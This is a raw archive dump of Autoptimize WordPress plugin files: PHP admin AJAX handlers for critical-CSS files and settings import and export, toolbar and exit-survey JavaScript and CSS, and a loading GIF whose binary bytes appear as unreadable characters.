); if ( file_exists( $critcssfile ) ) { $content = file_get_contents( $critcssfile ); $error = false; } } // Prepare response. if ( $error ) { $response['code'] = '500'; $response['string'] = 'Error reading file ' . $critcssfile . '.'; } else { $response['code'] = '200'; $response['string'] = $content; } // Dispatch respose. echo json_encode( $response ); // Close ajax request. wp_die(); } public function critcss_save_callback() { $error = false; $status = false; $response = array(); // Ajax handler to write a critical CSS to the filesystem // Check referer. check_ajax_referer( 'save_critcss_nonce', 'critcss_save_nonce' ); // Allow empty contents for MANUAL rules (as they are fetched later). if ( current_user_can( 'manage_options' ) && empty( $_POST['critcssfile'] ) ) { $critcssfile = false; $status = true; } elseif ( current_user_can( 'manage_options' ) && $this->critcss_check_filename( $_POST['critcssfile'] ) ) { // Or check user permissios and filename // Set critical CSS content. $critcsscontents = stripslashes( $_POST['critcsscontents'] ); // If there is content and it's valid, write the file. if ( $critcsscontents && $this->criticalcss->check_contents( $critcsscontents ) ) { // Set file path and status. $critcssfile = AO_CCSS_DIR . strip_tags( $_POST['critcssfile'] ); $status = file_put_contents( $critcssfile, $critcsscontents, LOCK_EX ); // Or set as error. } else { $error = true; $critcssfile = 'CCSS content not acceptable.'; } // Or just set an error. } else { $error = true; $critcssfile = 'Not allowed or problem with CCSS filename.'; } // Prepare response. if ( ! $status || $error ) { $response['code'] = '500'; $response['string'] = 'Error saving file ' . $critcssfile . '.'; } else { $response['code'] = '200'; if ( $critcssfile ) { $response['string'] = 'File ' . $critcssfile . ' saved.'; if ( true === apply_filters( 'autoptimize_filter_ccss_ajax_do_actions', true ) ) { $rule_identifiers = $this->fetch_rule_from_ccssfile( $critcssfile ); if ( ! empty( $rule_identifiers ) && is_array( $rule_identifiers ) ) { do_action( 'autoptimize_action_ccss_ajax_css_changed', $rule_identifiers[0], $critcssfile, $rule_identifiers[1] ); } } } else { $response['string'] = 'Empty content does not need to be saved.'; } } // Dispatch respose. echo json_encode( $response ); // Close ajax request. wp_die(); } public function critcss_rm_callback() { // Ajax handler to delete a critical CSS from the filesystem // Check referer. check_ajax_referer( 'rm_critcss_nonce', 'critcss_rm_nonce' ); // Initialize error and status flags. $error = true; $status = false; // Allow no file for MANUAL rules (as they may not exist just yet). if ( current_user_can( 'manage_options' ) && empty( $_POST['critcssfile'] ) ) { $error = false; } elseif ( current_user_can( 'manage_options' ) && $this->critcss_check_filename( $_POST['critcssfile'] ) ) { // Or check user permissios and filename // Set file path and delete it. $critcssfile = AO_CCSS_DIR . strip_tags( $_POST['critcssfile'] ); if ( file_exists( $critcssfile ) ) { $status = unlink( $critcssfile ); $error = false; } } // Prepare response. if ( $error ) { $response['code'] = '500'; $response['string'] = 'Error removing file ' . $critcssfile . '.'; } else { $response['code'] = '200'; if ( $status ) { $response['string'] = 'File ' . $critcssfile . ' removed.'; if ( true === apply_filters( 'autoptimize_filter_ccss_ajax_do_actions', true ) ) { $rule_identifiers = $this->fetch_rule_from_ccssfile( $critcssfile ); if ( ! empty( $rule_identifiers ) && is_array( $rule_identifiers ) ) { do_action( 'autoptimize_action_ccss_ajax_css_removed', $rule_identifiers[0], $critcssfile, $rule_identifiers[1] ); } } } else { $response['string'] = 'No file to be removed.'; } } // Dispatch respose. echo json_encode( $response ); // Close ajax request. wp_die(); } public function critcss_rm_all_callback() { // Ajax handler to delete a critical CSS from the filesystem // Check referer. check_ajax_referer( 'rm_critcss_all_nonce', 'critcss_rm_all_nonce' ); // Initialize error and status flags. $error = true; $status = false; // Remove all ccss files on filesystem. if ( current_user_can( 'manage_options' ) ) { if ( file_exists( AO_CCSS_DIR ) && is_dir( AO_CCSS_DIR ) ) { array_map( 'unlink', glob( AO_CCSS_DIR . 'ccss_*.css', GLOB_BRACE ) ); $error = false; $status = true; if ( true === apply_filters( 'autoptimize_filter_ccss_ajax_do_actions', true ) ) { do_action( 'autoptimize_action_ccss_ajax_all_css_removed' ); } } } // Prepare response. if ( $error ) { $response['code'] = '500'; $response['string'] = 'Error removing all critical CSS files.'; } else { $response['code'] = '200'; if ( $status ) { $response['string'] = 'Critical CSS Files removed.'; } else { $response['string'] = 'No file removed.'; } } // Dispatch respose. echo json_encode( $response ); // Close ajax request. wp_die(); } public function ao_ccss_export_callback() { // Ajax handler export settings // Check referer. check_ajax_referer( 'ao_ccss_export_nonce', 'ao_ccss_export_nonce' ); if ( ! class_exists( 'ZipArchive' ) ) { $response['code'] = '500'; $response['msg'] = 'PHP ZipArchive not present, cannot create zipfile'; echo json_encode( $response ); wp_die(); } // Init array, get options and prepare the raw object. $settings = array(); // CCSS settings. $settings['ccss']['rules'] = get_option( 'autoptimize_ccss_rules' ); $settings['ccss']['additional'] = get_option( 'autoptimize_ccss_additional' ); $settings['ccss']['viewport'] = get_option( 'autoptimize_ccss_viewport' ); $settings['ccss']['finclude'] = get_option( 'autoptimize_ccss_finclude' ); $settings['ccss']['rtimelimit'] = get_option( 'autoptimize_ccss_rtimelimit' ); $settings['ccss']['noptimize'] = get_option( 'autoptimize_ccss_noptimize' ); $settings['ccss']['debug'] = get_option( 'autoptimize_ccss_debug' ); $settings['ccss']['key'] = get_option( 'autoptimize_ccss_key' ); $settings['ccss']['deferjquery'] = get_option( 'autoptimize_ccss_deferjquery' ); $settings['ccss']['domain'] = get_option( 'autoptimize_ccss_domain' ); $settings['ccss']['forcepath'] = get_option( 'autoptimize_ccss_forcepath' ); $settings['ccss']['loggedin'] = get_option( 'autoptimize_ccss_loggedin' ); $settings['ccss']['rlimit'] = get_option( 'autoptimize_ccss_rlimit' ); $settings['ccss']['unloadccss'] = get_option( 'autoptimize_ccss_unloadccss' ); // JS settings. $settings['js']['root'] = get_option( 'autoptimize_js' ); $settings['js']['aggregate'] = get_option( 'autoptimize_js_aggregate' ); $settings['js']['defer_not_aggregate'] = get_option( 'autoptimize_js_defer_not_aggregate' ); $settings['js']['defer_inline'] = get_option( 'autoptimize_js_defer_inline' ); $settings['js']['exclude'] = get_option( 'autoptimize_js_exclude' ); $settings['js']['forcehead'] = get_option( 'autoptimize_js_forcehead' ); $settings['js']['justhead'] = get_option( 'autoptimize_js_justhead' ); $settings['js']['trycatch'] = get_option( 'autoptimize_js_trycatch' ); $settings['js']['include_inline'] = get_option( 'autoptimize_js_include_inline' ); // CSS settings. $settings['css']['root'] = get_option( 'autoptimize_css' ); $settings['css']['aggregate'] = get_option( 'autoptimize_css_aggregate' ); $settings['css']['datauris'] = get_option( 'autoptimize_css_datauris' ); $settings['css']['justhead'] = get_option( 'autoptimize_css_justhead' ); $settings['css']['defer'] = get_option( 'autoptimize_css_defer' ); $settings['css']['defer_inline'] = get_option( 'autoptimize_css_defer_inline' ); $settings['css']['inline'] = get_option( 'autoptimize_css_inline' ); $settings['css']['exclude'] = get_option( 'autoptimize_css_exclude' ); $settings['css']['include_inline'] = get_option( 'autoptimize_css_include_inline' ); // Others. $settings['other']['autoptimize_imgopt_settings'] = get_option( 'autoptimize_imgopt_settings' ); $settings['other']['autoptimize_extra_settings'] = get_option( 'autoptimize_extra_settings' ); $settings['other']['autoptimize_cache_fallback'] = get_option( 'autoptimize_cache_fallback' ); $settings['other']['autoptimize_cache_nogzip'] = get_option( 'autoptimize_cache_nogzip' ); $settings['other']['autoptimize_cdn_url'] = get_option( 'autoptimize_cdn_url' ); $settings['other']['autoptimize_enable_meta_ao_settings'] = get_option( 'autoptimize_enable_meta_ao_settings' ); $settings['other']['autoptimize_enable_site_config'] = get_option( 'autoptimize_enable_site_config' ); $settings['other']['autoptimize_html'] = get_option( 'autoptimize_html' ); $settings['other']['autoptimize_html_keepcomments'] = get_option( 'autoptimize_html_keepcomments' ); $settings['other']['autoptimize_minify_excluded'] = get_option( 'autoptimize_minify_excluded' ); $settings['other']['autoptimize_optimize_checkout'] = get_option( 'autoptimize_optimize_checkout' ); $settings['other']['autoptimize_optimize_logged'] = get_option( 'autoptimize_optimize_logged' ); if ( defined( 'AO_PRO_VERSION' ) ) { $settings['pro']['boosters'] = get_option( 'autoptimize_pro_boosters' ); $settings['pro']['pagecache'] = get_option( 'autoptimize_pro_pagecache' ); } // Initialize error flag. $error = true; // Check user permissions. if ( current_user_can( 'manage_options' ) ) { // Prepare settings file path and content. $exportfile = AO_CCSS_DIR . 'settings.json'; $contents = json_encode( $settings ); $status = file_put_contents( $exportfile, $contents, LOCK_EX ); $error = false; } // Prepare archive. $zipfile = AO_CCSS_DIR . str_replace( array( '.', '/' ), '_', parse_url( AUTOPTIMIZE_WP_SITE_URL, PHP_URL_HOST ) ) . '_' . date( 'Ymd-H\hi' ) . '_ao_ccss_settings.zip'; // @codingStandardsIgnoreLine $file = pathinfo( $zipfile, PATHINFO_BASENAME ); $zip = new ZipArchive(); $ret = $zip->open( $zipfile, ZipArchive::CREATE ); if ( true !== $ret ) { $error = true; } else { $zip->addFile( AO_CCSS_DIR . 'settings.json', 'settings.json' ); if ( file_exists( AO_CCSS_DIR . 'queue.json' ) ) { $zip->addFile( AO_CCSS_DIR . 'queue.json', 'queue.json' ); } $options = array( 'add_path' => './', 'remove_all_path' => true, ); $zip->addGlob( AO_CCSS_DIR . '*.css', 0, $options ); $zip->close(); } // settings.json has been added to zipfile, so can be removed now. if ( file_exists( $exportfile ) ) { unlink( $exportfile ); } // Prepare response. if ( ! $status || $error ) { $response['code'] = '500'; $response['msg'] = 'Error saving file ' . $file . ', code: ' . $ret; } else { $response['code'] = '200'; $response['msg'] = 'File ' . $file . ' saved.'; $response['file'] = $file; } // Dispatch respose. echo json_encode( $response ); // Close ajax request. wp_die(); } public function ao_ccss_import_callback() { // Ajax handler import settings // Check referer. check_ajax_referer( 'ao_ccss_import_nonce', 'ao_ccss_import_nonce' ); // Initialize error flag. $error = false; // Process an uploaded file with no errors. if ( current_user_can( 'manage_options' ) && ! $_FILES['file']['error'] && $_FILES['file']['size'] < 500001 && strpos( $_FILES['file']['name'], '.zip' ) === strlen( $_FILES['file']['name'] ) - 4 ) { // create tmp dir with hard guess name in AO_CCSS_DIR. $_secret_dir = wp_hash( uniqid( md5( AUTOPTIMIZE_CACHE_URL ), true ) ); $_import_tmp_dir = trailingslashit( AO_CCSS_DIR . $_secret_dir ); mkdir( $_import_tmp_dir, 0774, true ); // Save file to that tmp directory but give it our own name to prevent directory traversal risks when using original name. $zipfile = $_import_tmp_dir . uniqid( 'import_settings-', true ) . '.zip'; move_uploaded_file( $_FILES['file']['tmp_name'], $zipfile ); // Extract archive in the tmp directory. $zip = new ZipArchive; if ( $zip->open( $zipfile ) === true ) { // loop through all files in the zipfile. for ( $i = 0; $i < $zip->numFiles; $i++ ) { // @codingStandardsIgnoreLine // but only extract known good files. if ( preg_match( '/^settings\.json$|^\.\/ccss_[a-z0-9]{32}\.css$/', $zip->getNameIndex( $i ) ) > 0 ) { $zip->extractTo( AO_CCSS_DIR, $zip->getNameIndex( $i ) ); } } $zip->close(); } else { $error = 'could not extract'; } // and remove temp. dir with all contents (the import-zipfile). $this->rrmdir( $_import_tmp_dir ); if ( ! $error ) { // Archive extraction ok, continue importing settings from AO_CCSS_DIR. // Settings file. $importfile = AO_CCSS_DIR . 'settings.json'; if ( file_exists( $importfile ) ) { // Get settings and turn them into an object. $settings = json_decode( file_get_contents( $importfile ), true ); // Update options from settings, but only for known options. // CCSS. foreach ( array( 'rules', 'additional', 'viewport', 'finclude', 'rtimelimit', 'noptimize', 'debug', 'key', 'deferjquery', 'domain', 'forcepath', 'loggedin', 'rlimit', 'unloadccss' ) as $ccss_setting ) { if ( false === array_key_exists( 'ccss', $settings ) || false === array_key_exists( $ccss_setting, $settings['ccss'] ) ) { continue; } else { update_option( 'autoptimize_ccss_' . $ccss_setting, autoptimizeUtils::strip_tags_array( $settings['ccss'][ $ccss_setting ] ) ); } } // JS. foreach ( array( 'root', 'aggregate', 'defer_not_aggregate', 'defer_inline', 'exclude', 'forcehead', 'trycatch', 'include_inline' ) as $js_setting ) { if ( false === array_key_exists( 'js', $settings ) || false === array_key_exists( $js_setting, $settings['js'] ) ) { continue; } else if ( 'root' === $js_setting ) { update_option( 'autoptimize_js', $settings['js']['root'] ); } else { update_option( 'autoptimize_js_' . $js_setting, $settings['js'][ $js_setting ] ); } } // CSS. foreach ( array( 'root', 'aggregate', 'datauris', 'justhead', 'defer', 'defer_inline', 'inline', 'exclude', 'include_inline' ) as $css_setting ) { if ( false === array_key_exists( 'css', $settings ) || false === array_key_exists( $css_setting, $settings['css'] ) ) { continue; } else if ( 'root' === $css_setting ) { update_option( 'autoptimize_css', $settings['css']['root'] ); } else { update_option( 'autoptimize_css_' . $css_setting, $settings['css'][ $css_setting ] ); } } // Other. foreach ( array( 'autoptimize_imgopt_settings', 'autoptimize_extra_settings', 'autoptimize_cache_fallback', 'autoptimize_cache_nogzip', 'autoptimize_cdn_url', 'autoptimize_enable_meta_ao_settings', 'autoptimize_enable_site_config', 'autoptimize_html', 'autoptimize_html_keepcomments', 'autoptimize_minify_excluded', 'autoptimize_optimize_checkout', 'autoptimize_optimize_logged' ) as $other_setting ) { if ( false === array_key_exists( 'other', $settings ) || false === array_key_exists( $other_setting, $settings['other'] ) ) { continue; } else { update_option( $other_setting, $settings['other'][ $other_setting ] ); } } // AO Pro. if ( defined( 'AO_PRO_VERSION' ) && array_key_exists( 'pro', $settings ) ) { update_option( 'autoptimize_pro_boosters', $settings['pro']['boosters'] ); update_option( 'autoptimize_pro_pagecache', $settings['pro']['pagecache'] ); } // settings.json has been imported, so can be removed now. if ( file_exists( $importfile ) ) { unlink( $importfile ); } } else { // Settings file doesn't exist, update error flag. $error = 'settings file does not exist'; } } } else { $error = 'file could not be saved'; } // Prepare response. if ( $error ) { $response['code'] = '500'; $response['msg'] = 'Error importing settings: ' . $error; } else { $response['code'] = '200'; $response['msg'] = 'Settings imported successfully'; } // Dispatch respose. echo json_encode( $response ); // Close ajax request. wp_die(); } public function ao_ccss_queuerunner_callback() { check_ajax_referer( 'ao_ccss_queuerunner_nonce', 'ao_ccss_queuerunner_nonce' ); // Process an uploaded file with no errors. if ( current_user_can( 'manage_options' ) ) { if ( ! file_exists( AO_CCSS_LOCK ) ) { $ccss_cron = new autoptimizeCriticalCSSCron(); $ccss_cron->ao_ccss_queue_control(); $response['code'] = '200'; $response['msg'] = 'Queue processing done'; } else { $response['code'] = '302'; $response['msg'] = 'Lock file found'; } } else { $response['code'] = '500'; $response['msg'] = 'Not allowed'; } // Dispatch respose. echo json_encode( $response ); // Close ajax request. wp_die(); } public function ao_ccss_saverules_callback() { check_ajax_referer( 'ao_ccss_saverules_nonce', 'ao_ccss_saverules_nonce' ); // save rules over AJAX, too many users forget to press "save changes". if ( current_user_can( 'manage_options' ) ) { if ( array_key_exists( 'critcssrules', $_POST ) ) { $rules = stripslashes( $_POST['critcssrules'] ); // ugly, but seems correct as per https://developer.wordpress.org/reference/functions/stripslashes_deep/#comment-1045 . if ( ! empty( $rules ) ) { $_unsafe_rules_array = json_decode( wp_strip_all_tags( $rules ), true ); if ( ! empty( $_unsafe_rules_array ) && is_array( $_unsafe_rules_array ) ) { $_safe_rules_array = array(); if ( array_key_exists( 'paths', $_unsafe_rules_array ) ) { $_safe_rules_array['paths'] = $_unsafe_rules_array['paths']; } if ( array_key_exists( 'types', $_unsafe_rules_array ) ) { $_safe_rules_array['types'] = $_unsafe_rules_array['types']; } $_safe_rules = json_encode( $_safe_rules_array, JSON_FORCE_OBJECT ); if ( ! empty( $_safe_rules ) ) { update_option( 'autoptimize_ccss_rules', $_safe_rules ); $response['code'] = '200'; $response['msg'] = 'Rules saved'; } else { $_error = 'Could not auto-save rules (safe rules empty)'; } } else { $_error = 'Could not auto-save rules (rules could not be json_decoded)'; } } else { $_error = 'Could not auto-save rules (rules empty)'; } } else { $_error = 'Could not auto-save rules (rules not in $_POST)'; } } else { $_error = 'Not allowed'; } if ( ! isset( $response ) && $_error ) { $response['code'] = '500'; $response['msg'] = $_error; } // Dispatch respose. echo json_encode( $response ); // Close ajax request. wp_die(); } public function critcss_check_filename( $filename ) { // Try to avoid directory traversal when reading/writing/deleting critical CSS files. if ( strpos( $filename, 'ccss_' ) !== 0 ) { return false; } elseif ( substr( $filename, -4, 4 ) !== '.css' ) { return false; } elseif ( sanitize_file_name( $filename ) !== $filename ) { // Use WordPress core's sanitize_file_name to see if anything fishy is going on. return false; } else { return true; } } public function rrmdir( $path ) { // recursively remove a directory as found on // https://andy-carter.com/blog/recursively-remove-a-directory-in-php. $files = glob( $path . '/*' ); foreach ( $files as $file ) { is_dir( $file ) ? $this->rrmdir( $file ) : unlink( $file ); } rmdir( $path ); return; } public function fetch_rule_from_ccssfile( $ccss_file = '' ) { if ( empty( $ccss_file ) ) { return false; } $ccss_file = str_replace( AO_CCSS_DIR, '', $ccss_file ); static $rules = null; if ( null === $rules ) { $rules = $this->criticalcss->get_option( 'rules' ); } foreach ( $rules as $ruletype => $rulechilds ) { foreach ( $rulechilds as $identifier => $properties ) { if ( $properties['file'] === $ccss_file ) { return array( $ruletype, $identifier ); } } } return false; } } plugins/autoptimize-/classes/static/toolbar.min.js000064400000005137152335264760016405 0ustar00jQuery(document).ready(function() {var percentage=jQuery('#wp-admin-bar-autoptimize-cache-info .autoptimize-radial-bar').attr('percentage');var rotate=percentage*1.8;jQuery('#wp-admin-bar-autoptimize-cache-info .autoptimize-radial-bar .mask.full, #wp-admin-bar-autoptimize-cache-info .autoptimize-radial-bar .fill').css({'-webkit-transform':'rotate('+rotate+'deg)','-ms-transform':'rotate('+rotate+'deg)','transform':'rotate('+rotate+'deg)'});jQuery('#wp-admin-bar-autoptimize-cache-info .autoptimize-radial-bar .inset').css('background-color',jQuery('#wp-admin-bar-autoptimize .ab-sub-wrapper').css('background-color'));jQuery('#wp-admin-bar-autoptimize-delete-cache .ab-item').css('background-color',jQuery('#wpadminbar').css('background-color'));jQuery('#wp-admin-bar-autoptimize-default li').on('click',function(e) {var id=(typeof e.target.id!='undefined'&&e.target.id)?e.target.id:jQuery(e.target).parent('li').attr('id');var action='';if(id=='wp-admin-bar-autoptimize-delete-cache'){action='autoptimize_delete_cache';}else{return;} jQuery('#wp-admin-bar-autoptimize').removeClass('hover');var modal_loading=jQuery('
').appendTo('body').show();var success=function(){jQuery('#wp-admin-bar-autoptimize-cache-info .size').attr('class','size green').html('0.00 B');jQuery('#wp-admin-bar-autoptimize-cache-info .files').html('0');jQuery('#wp-admin-bar-autoptimize-cache-info .percentage .numbers').attr('class','numbers green').html('0%');jQuery('#wp-admin-bar-autoptimize-cache-info .autoptimize-radial-bar .fill').attr('class','fill bg-green');jQuery('#wp-admin-bar-autoptimize').attr('class','menupop bullet-green');jQuery('#wp-admin-bar-autoptimize-cache-info .autoptimize-radial-bar .mask.full, #wp-admin-bar-autoptimize-cache-info .autoptimize-radial-bar .fill').css({'-webkit-transform':'rotate(0deg)','-ms-transform':'rotate(0deg)','transform':'rotate(0deg)'});};var notice=function(){jQuery('

'+autoptimize_ajax_object.error_msg+'


').insertAfter('#wpbody .wrap h1:first-of-type').show();};jQuery.ajax({type:'GET',url:autoptimize_ajax_object.ajaxurl,data:{'action':action,'nonce':autoptimize_ajax_object.nonce},dataType:'json',cache:false,timeout:9000,success:function(cleared) {modal_loading.remove();if(cleared){success();}else{notice();}},error:function(jqXHR,textStatus) {modal_loading.remove();notice();}});});}); plugins/autoptimize-/classes/static/exit-survey/exit-survey.css000064400000010045152335264760021137 0ustar00 tr[data-slug="autoptimize"] span.deactivate{ position: relative; } .ao-feedback { background: #fff; max-width: 400px; z-index: 10000; box-shadow: 0 0 15px -5px rgba(0, 0, 0, .5); transition: all .3s ease-out; } .ao-feedback .popup--header { position: relative; background-color: #e5e5e5; } .ao-feedback .popup--header h5 { margin: 0; font-size: 16px; padding: 10px 15px; color: #222; font-weight: 900; text-align: left; } .ao-feedback .popup--body { padding: 15px; padding-top: 5px; } .ao-feedback .popup--form { margin: 0; font-size: 13px; padding-top: 10px; } .ao-feedback .popup--form input[type="radio"] { margin: 0 10px 0 0; } .ao-feedback .popup--form input[type="radio"]:checked ~ textarea { display: block; } .ao-feedback .popup--form textarea { width: 100%; margin: 10px 0 0; display: none; max-height: 150px; } .ao-feedback .popup--form input[type='email'] { width: 100%; margin: 10px 0 0; } .ao-feedback .popup--form input[type='email']:invalid { color:red; border-color:red; } .ao-feedback .popup--form p.last-attempt { display: none; } .ao-feedback li { display: flex; align-items: center; margin-bottom: 15px; flex-wrap: wrap; } .ao-feedback li label { max-width: 90%; } .ao-feedback li:last-child { margin-bottom: 0; } .ao-feedback .popup--footer { padding: 0 15px 15px; } .ao-feedback .actions { display: flex; flex-wrap: wrap; } .info-disclosure-link { width: 100%; margin-bottom: 15px; } .ao-feedback .info-disclosure-content { max-height: 0; overflow: hidden; width: 100%; transition: .3s ease; } .ao-feedback .info-disclosure-content.active { max-height: 300px; } .ao-feedback .info-disclosure-content p { margin: 0; } .ao-feedback .info-disclosure-content ul { margin: 10px 0; border-radius: 3px; } .ao-feedback .info-disclosure-content ul li { display: flex; align-items: center; justify-content: space-between; margin-bottom: 0; padding: 5px 0; border-bottom: 1px solid #ccc; } .ao-feedback .buttons { display: flex; width: 100%; } .ao-feedback .buttons input:nth-child(2) { margin: auto; } .ao-feedback .buttons input:last-child { margin-left: auto; } .ao-plugin-uninstall-feedback-popup .popup--header:before { content: ""; display: block; position: absolute; border: 20px solid #e5e5e5; left: -10px; top: 50%; border-top: 20px solid transparent; border-bottom: 20px solid transparent; border-left: 0; transform: translateY(-50%); } .ao-plugin-uninstall-feedback-popup { display: none; position: absolute; white-space: normal; width: 400px; left: 122%; top: -21px; } .ao-plugin-uninstall-feedback-popup.sending-feedback .popup--body i { animation: rotation 2s infinite linear; display: block; float: none; align-items: center; width: 100%; margin: 0 auto; height: 100%; background: transparent; padding: 0; } .ao-plugin-uninstall-feedback-popup.sending-feedback .popup--body i:before { padding: 0; background: transparent; box-shadow: none; color: #b4b9be } .ao-plugin-uninstall-feedback-popup.active { display: block; } body.ao-feedback-open .ao-feedback-overlay { content: ""; display: block; background-color: rgba(0, 0, 0, 0.5); top: 0; bottom: 0; right: 0; left: 0; z-index: 10000; position: fixed; } .rtl .ao-plugin-uninstall-feedback-popup { left: -500px; } .rtl .ao-feedback .popup--header h5 { text-align: right; } .rtl .ao-plugin-uninstall-feedback-popup .popup--header:before { display:none; } @media (max-width: 768px) { .ao-plugin-uninstall-feedback-popup, .rtl .ao-plugin-uninstall-feedback-popup { position: fixed; max-width: 100%; margin: 0 auto; left: 50%; top: 50px; transform: translateX(-50%); } .ao-plugin-uninstall-feedback-popup .popup--header:before { display: none; } } plugins/autoptimize-/classes/static/exit-survey/exit-survey.js000064400000012464152335264760020772 0ustar00(function ($) { $(document).ready(function () { var targetElement = 'tr[data-slug="autoptimize"] span.deactivate a'; var redirectUrl = $(targetElement).attr('href'); if ($('.ao-feedback-overlay').length === 0) { $('body').prepend('
'); } $('#ao_uninstall_feedback_popup').appendTo($(targetElement).parent()); $(targetElement).on('click', function (e) { e.preventDefault(); $('#ao_uninstall_feedback_popup ').addClass('active'); $('body').addClass('ao-feedback-open'); $('.ao-feedback-overlay').on('click', function () { $('#ao_uninstall_feedback_popup ').removeClass('active'); $('body').removeClass('ao-feedback-open'); }); }); $('#ao_uninstall_feedback_popup .info-disclosure-link').on('click', function (e) { e.preventDefault(); $(this).parent().find('.info-disclosure-content').toggleClass('active'); }); $('#ao_uninstall_feedback_popup input[type="radio"]').on('change', function () { var radio = $(this); $('p.last-attempt').hide(); if (radio.parent().find('textarea').length > 0 && radio.parent().find('textarea').val().length === 0) { $('#ao_uninstall_feedback_popup #ao-deactivate-yes').attr('disabled', 'disabled'); radio.parent().find('textarea').on('keyup', function (e) { if ($(this).val().length === 0) { $('#ao_uninstall_feedback_popup #ao-deactivate-yes').attr('disabled', 'disabled'); } else if ( $('#ao_feedback998')[0].checkValidity() == true ) { $('#ao_uninstall_feedback_popup #ao-deactivate-yes').removeAttr('disabled'); } }); } else { if ( $('#ao_feedback998')[0].checkValidity() == true ) { $('#ao_uninstall_feedback_popup #ao-deactivate-yes').removeAttr('disabled'); } $(this).siblings('p.last-attempt').show(); } }); $('#ao_feedback998').on('keyup', function (e) { email_node = $(this); email_val = email_node.val(); if ( email_val.length > 0 && email_node[0].checkValidity() == false ) { $('#ao_uninstall_feedback_popup #ao-deactivate-yes').attr('disabled', 'disabled'); } else if ( $( '#ao_uninstall_feedback_popup input[name="ao-deactivate-option"]:checked' ).length > 0 ) { $('#ao_uninstall_feedback_popup #ao-deactivate-yes').removeAttr('disabled'); } }); $('#ao_uninstall_feedback_popup #ao-deactivate-no').on('click', function (e) { e.preventDefault(); e.stopPropagation(); $(targetElement).unbind('click'); $('body').removeClass('ao-feedback-open'); $('#ao_uninstall_feedback_popup').remove(); if (redirectUrl !== '') { location.href = redirectUrl; } }); $('#ao_uninstall_feedback_popup #ao-deactivate-cancel').on('click', function (e) { e.preventDefault(); e.stopPropagation(); $('#ao_uninstall_feedback_popup ').removeClass('active'); $('body').removeClass('ao-feedback-open'); }); $('#ao_feedback_email_toggle').on('click', function (e) { $('#ao_feedback998').toggle(); }); $('#ao_uninstall_feedback_popup #ao-deactivate-yes').on('click', function (e) { e.preventDefault(); e.stopPropagation(); $(targetElement).unbind('click'); var modal_data = JSON.parse(atob($('#ao_uninstall_feedback_popup').data('modal'))) var selectedOption = $( '#ao_uninstall_feedback_popup input[name="ao-deactivate-option"]:checked' ); var reason; if( selectedOption.attr("id") === "ao_feedback999" ){ reason = 'Other: ' + selectedOption.parent().find('textarea').val().trim() }else{ reason = selectedOption.parent().find('label').attr('data-reason').trim() } var data = { 'url': modal_data.home, 'reason': reason, 'type': 'WP ' + $('#core_version').text().trim(), 'version' : 'AO ' + $('#ao_plugin_version').text().trim(), 'email': $('#ao_feedback998').val().trim(), }; $.ajax({ type: 'POST', url: atob( modal_data.dest ), data: data, complete() { $('body').removeClass('ao-feedback-open'); $('#ao_uninstall_feedback_popup').remove(); if (redirectUrl !== '') { location.href = redirectUrl; } }, beforeSend() { $('#ao_uninstall_feedback_popup').addClass('sending-feedback'); $('#ao_uninstall_feedback_popup .popup--footer').remove(); $('#ao_uninstall_feedback_popup .popup--body').html(''); } }); }); }); })(jQuery); plugins/autoptimize-/classes/static/loading.gif000064400000011040152335264760015715 0ustar00GIF89aXXOϺn! NETSCAPE2.0! XMP DataXMP ~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"!  !,XXHIY8z^(:If¶0KӶn 7 ƀ"ѣdgO 57*%jeABMǵmV[Yyqnw}.X{ U~x}iøɳǞܾ75WLjaw7aD&G1ѸETI\ɲe)0cʜIf8sɳg@ JhͣHeɴiΟEJ N,0Q`a.JVTh ;lֳimSqεZּ^Vw'^D'%\)Wzec_%Ӥ0fVfsXG,L΅YCv4jӎ onھwz5r:N<:q_,{۹>/7wz~#.O6!,X:%I$ͻ`\dIyh,d*m9ms]u%gKVEEWUu eMT-QcWrGkvnsM~{7}~=B{uξѻ޿m?rf -!rNVz;m"ĐFX$J$ñ,2$L^%xs̙vF+A 4RJT_ԩʻʴx\rYXNɖM v w\i2;.7bj$궝`m !,XX%I8;`(f^ h좾Զqά^ H;dTUn.  s Pn;o;ʮ $y+AI•ŧˑֿؼڹܶ޲䦴Hݼ|~#+3 ȑA 0H@ǎCVY2I)U&dK1e^fĜ: gAAb$j@IE.e)7<'?dyN{vZ~yhcŎǣ˞͍ӝכ߰ H`*\ȰalHbˆ raƏ'vI$H$92eŕ[̙ kF·<{Q(EE2DJ0hO*qҜTCZ3ԙYrUvWeϦLu,۱]%Pmօmع#!,XXI8ͻ#Lhlˑ0$Y[n5W)Ռ='4T%]6YU}Ֆsj{|gw*jy }ps%A=k hc`[XSKDPd~qLɓ:l-.Ap \-@ 8~^ė{ ~2%rw-U,sL5dS=u o(Qs?"5T ӦB'u*§Vaͺ*ׯ`ê#@ٳhӊݖ[k6nxڽ޾~w†"Nv1c7,rgW,cόA'm`ӀQUu˘R횰!,X:8I8ͻ#Lhlˑ0$Y[n5W)Ռ='4T%]6YU}Ֆsj{|gw*jy }ps%A=k hc`[XSKDPd~qLɓ:l- xϟAy\Cv 2XÈ(Rs79 $CIv3?Xt6i @ylC}wi҂K5} 5*T+Zz4VXn*ذTv5SeŶ]+,ݴs⵫m^^$!,XXHI8ͻ#Lhlˑ0$Y[n5W)Ռ='4T%]6YU}Ֆsj{|gw*jy }ps%A=k hc`[XSKDPd~qLɓ:l-.wj;xPB&P"A-ĸO?<O=MC9Oe;\ O:5mÉP':|)Т"%wt鸦NAm*Ղ8uҮ`Ê=ٳhӪM۷gFKwܺx-7޾x+x†M|.ccC+9-.W,cόA'm`ӀQU1沬~n!,:XHI"`ō.Nھhthx/戄)KlNڨ"fǃ;T>7<'?dyN{vZ~yhcÍŦɭѠԟزߜ H0*\ȐÇ 2H!ċ Tq9cȑKz1)Ω Z5LY& kKfQ*vXSӎtVhW[\ ;plugins/autoptimize-/classes/static/toolbar.js000064400000006762152335264760015630 0ustar00jQuery( document ).ready(function() { var percentage = jQuery( '#wp-admin-bar-autoptimize-cache-info .autoptimize-radial-bar' ).attr('percentage'); var rotate = percentage * 1.8; jQuery( '#wp-admin-bar-autoptimize-cache-info .autoptimize-radial-bar .mask.full, #wp-admin-bar-autoptimize-cache-info .autoptimize-radial-bar .fill' ).css({ '-webkit-transform' : 'rotate(' + rotate + 'deg)', '-ms-transform' : 'rotate(' + rotate + 'deg)', 'transform' : 'rotate(' + rotate + 'deg)' }); // Fix Background color of circle percentage & delete cache to fit with the current color theme jQuery( '#wp-admin-bar-autoptimize-cache-info .autoptimize-radial-bar .inset' 